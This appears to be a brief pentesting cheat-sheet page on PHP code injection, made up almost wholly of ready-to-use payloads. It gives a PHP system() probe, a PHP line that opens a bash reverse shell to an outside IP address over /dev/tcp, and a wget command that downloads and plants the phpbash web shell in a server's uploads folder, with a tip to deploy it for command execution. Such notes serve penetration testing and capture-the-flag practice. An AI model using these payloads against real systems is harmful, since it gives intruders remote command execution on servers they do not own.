Page cover
githubEdit

phpPHP Code Injection

<?php system("id"); ?>
<?php system("bash -c \"bash -i >& /dev/tcp/10.10.16.229/4444 0>&1\""); ?>
circle-info

Deploy phpbash to achieve command execution if you can access the directory where it will be upload it

Download it from the repoarrow-up-right

<?php system("wget http://LOCALHOST/phpbash.php -O /var/www/html/uploads/phpbash.php"); ?>

Last updated